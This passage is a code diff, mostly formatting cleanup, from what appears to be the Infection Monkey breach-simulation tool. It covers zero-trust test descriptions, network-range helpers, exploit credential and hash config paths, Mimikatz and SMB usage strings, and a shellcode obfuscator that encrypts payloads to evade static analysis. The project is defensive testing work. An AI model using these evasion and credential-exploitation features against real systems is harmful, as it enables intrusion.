anti-virus and other traditional endpoint " + "security solutions.", PRINCIPLE_DATA_CONFIDENTIALITY: "Ensure data's confidentiality by encrypting it.", - PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.", - PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandatory " - "Access Control) only.", - PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster recovery scenarios.", + PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as " + "possible.", + PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources " + "should be MAC (Mandatory " + "Access Control) only.", + PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster " + "recovery scenarios.", PRINCIPLE_SECURE_AUTHENTICATION: "Ensure secure authentication process's.", - PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources." + PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources.", } POSSIBLE_STATUSES_KEY = "possible_statuses" @@ -89,173 +103,193 @@ FINDING_EXPLANATION_BY_STATUS_KEY = "finding_explanation" TEST_EXPLANATION_KEY = "explanation" TESTS_MAP = { TEST_SEGMENTATION: { - TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can communicate with from the machine it's " - "running on, that belong to different network segments.", + TEST_EXPLANATION_KEY: "The Monkey tried to scan and find machines that it can " + "communicate with from the machine it's " + "running on, that belong to different network segments.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.", - STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs." + STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and" + " logs.", + STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, " + "check firewall logs.", }, PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION, PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED], }, TEST_MALICIOUS_ACTIVITY_TIMELINE: { - TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking actions, like scanning and attempting " - "exploitation.", + TEST_EXPLANATION_KEY: "The Monkeys in the network performed malicious-looking " + "actions, like scanning and attempting " + "exploitation.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts." + STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and " + "alerts." }, PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY], }, TEST_ENDPOINT_SECURITY_EXISTS: { - TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an endpoint security software.", + TEST_EXPLANATION_KEY: "The Monkey checked if there is an active process of an " + "endpoint security software.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus " - "software on endpoints.", - STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a " - "security concern. " + STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and " + "activate anti-virus " + "software on endpoints.", + STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to " + "see if Monkey was a " + "security concern. ", }, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_MACHINE_EXPLOITED: { - TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to breach them and propagate in the network.", + TEST_EXPLANATION_KEY: "The Monkey tries to exploit machines in order to " + "breach them and propagate in the network.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see " - "which endpoints were compromised.", - STATUS_PASSED: "Monkey didn't manage to exploit an endpoint." + STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see " + "activity recognized and see " + "which endpoints were compromised.", + STATUS_PASSED: "Monkey didn't manage to exploit an endpoint.", }, PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY, PILLARS_KEY: [DEVICES], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY], }, TEST_SCHEDULED_EXECUTION: { TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security " - "software.", - STATUS_PASSED: "Monkey failed to execute in a scheduled manner." + STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in " + "User-Behavior security " + "software.", + STATUS_PASSED: "Monkey failed to execute in a scheduled manner.", }, PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR, PILLARS_KEY: [PEOPLE, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY], }, TEST_DATA_ENDPOINT_ELASTIC: { - TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to ElasticSearch instances.", + TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to " + "ElasticSearch instances.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts " - "that indicate attempts to access them. " + STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by " + "encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such " + "instances, look for alerts " + "that indicate attempts to access them. ", }, PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_DATA_ENDPOINT_HTTP: { - TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP servers.", + TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to HTTP " "servers.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.", - STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate " - "attempts to access them. " + STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in" + " in-transit.", + STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, " + "look for alerts that indicate " + "attempts to access them. ", }, PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_TUNNELING: { TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - " - "restrict them. " + STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies " + "are too permissive - " + "restrict them. " }, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED], }, TEST_COMMUNICATE_AS_NEW_USER: { - TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate with the internet from it.", + TEST_EXPLANATION_KEY: "The Monkey tried to create a new user and communicate " + "with the internet from it.", FINDING_EXPLANATION_BY_STATUS_KEY: { - STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - " - "restrict them to MAC only.", - STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." + STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies " + "are too permissive - " + "restrict them to MAC only.", + STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network.", }, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: { TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.", - STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules." + STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules.", }, PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, PILLARS_KEY: [NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_UNENCRYPTED_DATA: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing unencrypted data.", + TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing " "unencrypted data.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found resources with unencrypted data.", - STATUS_PASSED: "ScoutSuite found no resources with unencrypted data." + STATUS_PASSED: "ScoutSuite found no resources with unencrypted data.", }, PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not protected against data loss.", + TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not " + "protected against data loss.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found resources not protected against data loss.", - STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss." + STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss.", }, PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY, PILLARS_KEY: [DATA], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_SECURE_AUTHENTICATION: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' authentication.", + TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' " "authentication.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found issues related to users' authentication.", - STATUS_PASSED: "ScoutSuite found no issues related to users' authentication." + STATUS_PASSED: "ScoutSuite found no issues related to users' authentication.", }, PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION, PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: { - TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access policies.", + TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access " "policies.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found permissive user access policies.", - STATUS_PASSED: "ScoutSuite found no issues related to user access policies." + STATUS_PASSED: "ScoutSuite found no issues related to user access policies.", }, PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, PILLARS_KEY: [PEOPLE, WORKLOADS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_LOGGING: { TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found logging issues.", - STATUS_PASSED: "ScoutSuite found no logging issues." + STATUS_PASSED: "ScoutSuite found no logging issues.", }, PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], }, TEST_SCOUTSUITE_SERVICE_SECURITY: { TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.", FINDING_EXPLANATION_BY_STATUS_KEY: { STATUS_FAILED: "ScoutSuite found service security issues.", - STATUS_PASSED: "ScoutSuite found no service security issues." + STATUS_PASSED: "ScoutSuite found no service security issues.", }, PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, PILLARS_KEY: [DEVICES, NETWORKS], - POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] - } + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED], + }, } EVENT_TYPE_MONKEY_NETWORK = "monkey_network" @@ -269,7 +303,7 @@ PILLARS_TO_TESTS = { DEVICES: [], WORKLOADS: [], VISIBILITY_ANALYTICS: [], - AUTOMATION_ORCHESTRATION: [] + AUTOMATION_ORCHESTRATION: [], } PRINCIPLES_TO_TESTS = {} diff --git a/monkey/common/config_value_paths.py b/monkey/common/config_value_paths.py index 5ddbe8605..db10fb9e1 100644 --- a/monkey/common/config_value_paths.py +++ b/monkey/common/config_value_paths.py @@ -1,13 +1,15 @@ -AWS_KEYS_PATH = ['internal', 'monkey', 'aws_keys'] -STARTED_ON_ISLAND_PATH = ['internal', 'general', 'started_on_island'] -EXPORT_MONKEY_TELEMS_PATH = ['internal', 'testing', 'export_monkey_telems'] -CURRENT_SERVER_PATH = ['internal', 'island_server', 'current_server'] -SSH_KEYS_PATH = ['internal', 'exploits', 'exploit_ssh_keys'] -INACCESSIBLE_SUBNETS_PATH = ['basic_network', 'network_analysis', 'inaccessible_subnets'] -USER_LIST_PATH = ['basic', 'credentials', 'exploit_user_list'] -PASSWORD_LIST_PATH = ['basic', 'credentials', 'exploit_password_list'] -EXPLOITER_CLASSES_PATH = ['basic', 'exploiters', 'exploiter_classes'] -SUBNET_SCAN_LIST_PATH = ['basic_network', 'scope', 'subnet_scan_list'] -LOCAL_NETWORK_SCAN_PATH = ['basic_network', 'scope', 'local_network_scan'] -LM_HASH_LIST_PATH = ['internal', 'exploits', 'exploit_lm_hash_list'] -NTLM_HASH_LIST_PATH = ['internal', 'exploits', 'exploit_ntlm_hash_list'] +AWS_KEYS_PATH = ["internal", "monkey", "aws_keys"] +STARTED_ON_ISLAND_PATH = ["internal", "general", "started_on_island"] +EXPORT_MONKEY_TELEMS_PATH = ["internal", "testing", "export_monkey_telems"] +CURRENT_SERVER_PATH = ["internal", "island_server", "current_server"] +SSH_KEYS_PATH = ["internal", "exploits", "exploit_ssh_keys"] +INACCESSIBLE_SUBNETS_PATH = ["basic_network", "network_analysis", "inaccessible_subnets"] +USER_LIST_PATH = ["basic", "credentials", "exploit_user_list"] +PASSWORD_LIST_PATH = ["basic", "credentials", "exploit_password_list"] +EXPLOITER_CLASSES_PATH = ["basic", "exploiters", "exploiter_classes"] +SUBNET_SCAN_LIST_PATH = ["basic_network", "scope", "subnet_scan_list"] +LOCAL_NETWORK_SCAN_PATH = ["basic_network", "scope", "local_network_scan"] +LM_HASH_LIST_PATH = ["internal", "exploits", "exploit_lm_hash_list"] +NTLM_HASH_LIST_PATH = ["internal", "exploits", "exploit_ntlm_hash_list"] +PBA_LINUX_FILENAME_PATH = ["monkey", "post_breach", "PBA_linux_filename"] +PBA_WINDOWS_FILENAME_PATH = ["monkey", "post_breach", "PBA_windows_filename"] diff --git a/monkey/common/network/__init__.py b/monkey/common/network/__init__.py index ee5b79ad0..e69de29bb 100644 --- a/monkey/common/network/__init__.py +++ b/monkey/common/network/__init__.py @@ -1 +0,0 @@ -__author__ = 'itay.mizeretz' diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 7eb082c8f..ca8b49b1b 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -5,8 +5,6 @@ import socket import struct from abc import ABCMeta, abstractmethod -__author__ = 'itamar' - LOG = logging.getLogger(__name__) @@ -48,14 +46,14 @@ class NetworkRange(object, metaclass=ABCMeta): address_str = address_str.strip() if NetworkRange.check_if_range(address_str): return IpRange(ip_range=address_str) - if -1 != address_str.find('/'): + if -1 != address_str.find("/"): return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) @staticmethod def check_if_range(address_str): - if -1 != address_str.find('-'): - ips = address_str.split('-') + if -1 != address_str.find("-"): + ips = address_str.split("-") try: ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) except ValueError: @@ -85,28 +83,36 @@ class CidrRange(NetworkRange): return ipaddress.ip_address(ip_address) in self._ip_network def _get_range(self): - return [CidrRange._ip_to_number(str(x)) for x in self._ip_network if x != self._ip_network.broadcast_address] + return [ + CidrRange._ip_to_number(str(x)) + for x in self._ip_network + if x != self._ip_network.broadcast_address + ] class IpRange(NetworkRange): def __init__(self, ip_range=None, lower_end_ip=None, higher_end_ip=None, shuffle=True): super(IpRange, self).__init__(shuffle=shuffle) if ip_range is not None: - addresses = ip_range.split('-') + addresses = ip_range.split("-") if len(addresses) != 2: - raise ValueError('Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20' % ip_range) + raise ValueError( + "Illegal IP range format: %s. Format is 192.168.0.5-192.168.0.20" % ip_range + ) self._lower_end_ip, self._higher_end_ip = [x.strip() for x in addresses] elif (lower_end_ip is not None) and (higher_end_ip is not None): self._lower_end_ip = lower_end_ip.strip() self._higher_end_ip = higher_end_ip.strip() else: - raise ValueError('Illegal IP range: %s' % ip_range) + raise ValueError("Illegal IP range: %s" % ip_range) self._lower_end_ip_num = self._ip_to_number(self._lower_end_ip) self._higher_end_ip_num = self._ip_to_number(self._higher_end_ip) if self._higher_end_ip_num < self._lower_end_ip_num: raise ValueError( - 'Higher end IP %s is smaller than lower end IP %s' % (self._lower_end_ip, self._higher_end_ip)) + "Higher end IP %s is smaller than lower end IP %s" + % (self._lower_end_ip, self._higher_end_ip) + ) def __repr__(self): return "" % (self._lower_end_ip, self._higher_end_ip) @@ -151,12 +157,13 @@ class SingleIpRange(NetworkRange): @staticmethod def string_to_host(string_): """ - Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip + Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name + and ip :param string_: String that was entered in "Scan IP/subnet list" :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) """ # The most common use case is to enter ip/range into "Scan IP/subnet list" - domain_name = '' + domain_name = "" # Try casting user's input as IP try: @@ -167,8 +174,10 @@ class SingleIpRange(NetworkRange): ip = socket.gethostbyname(string_) domain_name = string_ except socket.error: - LOG.error("Your specified host: {} is not found as a domain name and" - " it's not an IP address".format(string_)) + LOG.error( + "Your specified host: {} is not found as a domain name and" + " it's not an IP address".format(string_) + ) return None, string_ # If a string_ was entered instead of IP we presume that it was domain name and translate it return ip, domain_name diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index e99d0cf2b..2b01d1974 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -4,8 +4,10 @@ from urllib.parse import urlparse def get_host_from_network_location(network_location: str) -> str: """ - URL structure is ":///;?#" (https://tools.ietf.org/html/rfc1808.html) - And the net_loc is ":@:" (https://tools.ietf.org/html/rfc1738#section-3.1) + URL structure is ":///;?#" ( + https://tools.ietf.org/html/rfc1808.html) + And the net_loc is ":@:" ( + https://tools.ietf.org/html/rfc1738#section-3.1) :param network_location: server network location :return: host part of the network location """ @@ -15,6 +17,6 @@ def get_host_from_network_location(network_location: str) -> str: def remove_port(url): parsed = urlparse(url) - with_port = f'{parsed.scheme}://{parsed.netloc}' - without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port) + with_port = f"{parsed.scheme}://{parsed.netloc}" + without_port = re.sub(":[0-9]+(?=$|/)", "", with_port) return without_port diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py index 9bbaabf1d..d48c005cb 100644 --- a/monkey/common/network/segmentation_utils.py +++ b/monkey/common/network/segmentation_utils.py @@ -14,8 +14,10 @@ def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): def get_ip_if_in_subnet(ip_addresses, subnet): """ :param ip_addresses: IP address list. - :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange - :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None. + :param subnet: Subnet to check if one of ip_addresses is in there. This is + common.network.network_range.NetworkRange + :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise + returns None. """ for ip_address in ip_addresses: if subnet.is_in_range(ip_address): diff --git a/monkey/common/network/test_segmentation_utils.py b/monkey/common/network/test_segmentation_utils.py deleted file mode 100644 index 1bb3d0484..000000000 --- a/monkey/common/network/test_segmentation_utils.py +++ /dev/null @@ -1,28 +0,0 @@ -from common.network.network_range import CidrRange -from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst - - -class TestSegmentationUtils: - def test_get_ip_in_src_and_not_in_dst(self): - source = CidrRange("1.1.1.0/24") - target = CidrRange("2.2.2.0/24") - - # IP not in both - assert get_ip_in_src_and_not_in_dst( - ["3.3.3.3", "4.4.4.4"], source, target - ) is None - - # IP not in source, in target - assert (get_ip_in_src_and_not_in_dst( - ["2.2.2.2"], source, target - )) is None - - # IP in source, not in target - assert (get_ip_in_src_and_not_in_dst( - ["8.8.8.8", "1.1.1.1"], source, target - )) - - # IP in both subnets - assert (get_ip_in_src_and_not_in_dst( - ["8.8.8.8", "1.1.1.1"], source, source - )) is None diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index 0eadbedcc..ef1cba65f 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -13,26 +13,32 @@ class ScanStatus(Enum): class UsageEnum(Enum): - SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", - ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."} - MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", - ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."} - MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.", - ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."} - DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} - SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.", - ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" - " for monkey process wasn't successful."} - DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."} + SMB = { + ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.", + ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service " + "via MS-SCMR.", + } + MIMIKATZ = { + ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.", + ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed.", + } + MIMIKATZ_WINAPI = { + ScanStatus.USED.value: "WinAPI was called to load mimikatz.", + ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz.", + } + DROPPER = { + ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot." + } + SINGLETON_WINAPI = { + ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's " + "process.", + ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton" + " for monkey process wasn't successful.", + } + DROPPER_WINAPI = { + ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot." + } # Dict that describes what BITS job was used for BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system." - - -def format_time(time): - return "%s-%s %s:%s:%s" % (time.date().month, - time.date().day, - time.time().hour, - time.time().minute, - time.time().second) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index 8396b423b..df40f3007 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -52,3 +52,7 @@ class FindingWithoutDetailsError(Exception): class DomainControllerNameFetchError(FailedExploitationError): """ Raise on failed attempt to extract domain controller's name """ + + +class InvalidConfigurationError(Exception): + """ Raise when configuration is invalid """ diff --git a/monkey/common/utils/exploit_enum.py b/monkey/common/utils/exploit_enum.py index 3aff53121..daac36e1b 100644 --- a/monkey/common/utils/exploit_enum.py +++ b/monkey/common/utils/exploit_enum.py @@ -3,5 +3,4 @@ from enum import Enum class ExploitType(Enum): VULNERABILITY = 1 - OTHER = 8 BRUTE_FORCE = 9 diff --git a/monkey/common/utils/file_utils.py b/monkey/common/utils/file_utils.py new file mode 100644 index 000000000..fd2c85ec1 --- /dev/null +++ b/monkey/common/utils/file_utils.py @@ -0,0 +1,23 @@ +import hashlib +import os +from pathlib import Path + + +class InvalidPath(Exception): + pass + + +def expand_path(path: str) -> Path: + if not path: + raise InvalidPath("Empty path provided") + + return Path(os.path.expandvars(os.path.expanduser(path))) + + +def get_file_sha256_hash(filepath: Path): + sha256 = hashlib.sha256() + with open(filepath, "rb") as f: + for block in iter(lambda: f.read(65536), b""): + sha256.update(block) + + return sha256.hexdigest() diff --git a/monkey/common/utils/mongo_utils.py b/monkey/common/utils/mongo_utils.py index 66f606473..4a3703816 100644 --- a/monkey/common/utils/mongo_utils.py +++ b/monkey/common/utils/mongo_utils.py @@ -1,14 +1,11 @@ import sys -if sys.platform == 'win32': +if sys.platform == "win32": import win32com import wmi -__author__ = 'maor.rayzin' - class MongoUtils: - def __init__(self): # Static class pass @@ -35,14 +32,17 @@ class MongoUtils: try: # objectSid property of ds_user is problematic and need this special treatment. # ISWbemObjectEx interface. Class Uint8Array ? - if str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}": + if ( + str(o._oleobj_.GetTypeInfo().GetTypeAttr().iid) + == "{269AD56A-8A67-4129-BC8C-0506DCFE9880}" + ): return o.Value - except: + except Exception: pass try: return o.GetObjectText_() - except: + except Exception: pass return repr(o) diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py index 4e4c2ed3d..11635201e 100644 --- a/monkey/common/utils/shellcode_obfuscator.py +++ b/monkey/common/utils/shellcode_obfuscator.py @@ -9,8 +9,8 @@ from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 # We only encrypt payloads to hide them from static analysis # it's OK to have these keys plaintext -KEY = b'1234567890123456' -NONCE = b'\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f' +KEY = b"1234567890123456" +NONCE = b"\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f" # Use this manually to get obfuscated bytes of shellcode diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py index fc82663cb..25a2962f4 100644 --- a/monkey/common/utils/wmi_utils.py +++ b/monkey/common/utils/wmi_utils.py @@ -8,11 +8,8 @@ if sys.platform.startswith("win"): from .mongo_utils import MongoUtils -__author__ = 'maor.rayzin' - class WMIUtils: - def __init__(self): # Static class pass diff --git a/monkey/common/version.py b/monkey/common/version.py index 5e8dd4bf4..85a263be0 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -1,9 +1,10 @@ -# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for details). +# To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for +# details). import argparse from pathlib import Path MAJOR = "1" 